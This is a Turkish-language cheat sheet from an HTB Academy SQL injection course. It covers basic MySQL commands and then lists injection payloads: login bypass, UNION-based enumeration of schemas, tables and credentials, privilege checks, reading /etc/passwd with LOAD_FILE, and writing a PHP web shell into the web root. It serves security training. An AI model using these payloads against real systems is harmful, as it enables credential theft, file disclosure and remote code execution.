Cheatography

HTB Academy SQL Injection Cheat Sheet

by FHK via cheatography.com/161147/cs/33809/

MySQL

Giriş yapmak	`mysql -u root -p`
Giriş yaparken host ve port belirtimi	`mysql -u root -h docker.hackthebox.eu -P 3306 -p`
Database yaratmak	`CREATE DATABASE users;`
Databaseleri görmek	`SHOW DATABASES;`
Database kullanımı	`USE users;`
Örnek tablo oluşturumu	`CREATE TABLE logins ( id INT, username VARCHAR(100), password VARCHAR(100), date_of_joining DATETIME );`
Tablo yapısını görmek	`DESCRIBE logins;`
Tabloya her eleman eklediğimde ID'sinin düzenli olarak artmasını istiyorum	`id INT NOT NULL AUTO_INCREMENT`
Bir değişkenin eşsiz olmasını istiyorum	`username VARCHAR(100) UNIQUE NOT NULL`
Varsayılan bir değer atamak	`date_of_joining DATETIME DEFAULT NOW()`
PRIMARY KEY ataması	`PRIMARY KEY (id)`

MySQL (cont)

Tüm bu özelliklerin dahili örneği	`CREATE TABLE logins ( id INT NOT NULL AUTO_INCREMENT, username VARCHAR(100) UNIQUE NOT NULL, password VARCHAR(100) NOT NULL, date_of_joining DATETIME DEFAULT NOW(), PRIMARY KEY (id) );`

- Varsayılan MySQL/MariaDB port'u 3306'dır.
- -h: Host , -P: Port , -p: Parola
- Komutlarının sonuna ; koymayı unutma

Sonuç Kısıtlama ve Sıralama

Küçükten büyüğe sıralamak	`SELECT * FROM logins ORDER BY password;`
Büyükten küçüğe sıralamak	`SELECT * FROM logins ORDER BY password DESC;`
Birden fazla parametreye göre sıralamak	`SELECT * FROM logins ORDER BY password DESC, id ASC;`
Sonuçları kısıtlamak	`SELECT * FROM logins LIMIT 3;`
Index değerine göre sonuç kısıtlamak	`SELECT * FROM logins LIMIT 0, 1, 2;`

♦ Varsayılan olarak sonuçların sıralanması *ascending order* yani küçükten büyüğe artan şekilde olur. Bunun spesifik olarak belirtimi **ASC** şeklindedir. Büyükten küçüğe azalan şekilde bir belirtim için **DESC** kullanılır.

URL Encode

'	%27
"	%22
#	%23
;	%3B
)	%29

SQL Komutları

INSERT	Tabloya yeni kayıtlar eklememizi sağlar.	`INSERT INTO logins-(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');`
SELECT	Tablodan veri çekmemizi sağlar. Yıldız işareti (*) joker karakter işlevi görür ve tüm sütunları seçer. FROM anahtar sözcüğü, aralarından seçim yapılacak tabloyu belirtmek için kullanılır.	`SELECT * FROM table_name;`
DROP	MySQL içerisinde tablo ve database silmek için DROP komutu kullanılır.	`mysql> DROP TABLE logins;`
ALTER	Tablo sütunları üzerinde belirli değişiklikler yapmak için kullanılır.	

Cheatography

HTB Academy SQL Injection Cheat Sheet

by FHK via cheatography.com/161147/cs/33809/

SQL Komutları (cont)

	- Yeni sütun eklemek	`ALTER TABLE logins ADD newColumn INT;`
	- Bir sütunu yeniden adlandırmak	`ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;`
	- Sütunun veri tipini değiştirmek	`ALTER TABLE logins MODIFY oldColumn DATE;`
	- Sütunu silmek	`ALTER TABLE logins DROP oldColumn;`
UPDATE	Belirli kayıtlar üzerinde değişiklik yapmak için kullanılır.	`UPDATE logins SET password = 'change_password' WHERE id > 1;`

• **ALTER** tablo özelliklerini değiştirmeye yararken, **UPDATE** komutu belirli kayıtlar üzerinde değişiklik yapmaya yarar.
• **DROP** komutu silmeden önce herhangi bir onay istemez.

Sorgu Sonuç Filtrelemesi

WHERE	Filtreleme yapmak ya da spesifik bir veriyi aramak için kullanılır.	`SELECT * FROM table_name WHERE <condition>;`

Sorgu Sonuç Filtrelemesi (cont)

LIKE	LIKE belirli bir kalıba ya da şablona uyan verileri belirlememizi sağlar. **%** işareti dönecek veriyi referans eder yani kelimeden sonra gelen her karakteri bünyesine alır.	`SELECT * FROM logins WHERE username LIKE 'admin%';`
	_ işareti ise % işaretinin aksine yalnızca tek bir karakterle eşleşir. Burada 3 karakter uzunluğunda arama yapılır.	`SELECT * FROM logins WHERE username like '___';`

♦ **WHERE** şartında *sayılar* doğrudan kullanılabilirken, *string* ve *tarih* veri türleri başlarında tek tırnak (') veya çift tırnak (") ile belirtilmelidirler.

SQL Injection

`admin' OR '1'='1`	Temel Bypass Yöntemi
`admin')-- -`	Yorum Satırlı Bypass Yöntemi
`' order by 1-- -`	Sütun Sayısı Belirleme
`' UNION select 1,2,3-- -`	Sütun Sayısı Belirleme
`' UNION select 1,@@version,3,4-- -`	Temel Union Injection ile Versiyon Keşfi

SQL Injection (cont)

`'UNION select username, 2, 3, 4 from passwords-- -`	Dört sütunda union injection örneği
`' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -`	Tüm Veri Tabanlarını Listele
`' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -`	Belirli Bir Veri Tabanındaki Tüm Tabloları Listele
`' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -`	Spesifik Bir Tablodaki Tüm Sütunları Listele
`' UNION select 1, username, password, 4 from dev.credentials-- -`	Tablo Adı, Sütunu Belli Tabloyu Oku
`' UNION SELECT 1, user(), 3, 4-- -`	Halihazırdaki Kullanıcıyı Bulmak
`' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -`	Admin Yetkilerine Sahip Miyiz?
`' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- -`	Hangi Komutları Kullanabiliyoruz?

SQL Injection (cont)

`' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -`	MySQL ile Hangi Dizinlere Erişilebilir?
`UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -`	Yerel Dosya Okuma
`' UNION SELECT 1,'file written successfully!',3,4 into outfile '/var/www/html/proof.txt'-- -`	Yerel Dosyaya String Yazma
`' UNION SELECT "","<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -`	Web Shell Yazımı

♦ **UNION** sorgularında seçilen sütunların tüm pozisyonlardaki veri tipleri aynı olmalıdır.
♦ Asıl sorgu olan soldaki sorgu ne kadar sütun barındırıyorsa sağına yazacağımız **UNION** sorgusu da o kadar sütun barındırmalıdır. Örneğin:

```
SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwords-- '
```

♦ **LOAD_FILE()** ile kaynak kod sızdırabilirsin.
♦ Web shell yazmak için *web root'u* bilmen gerekir.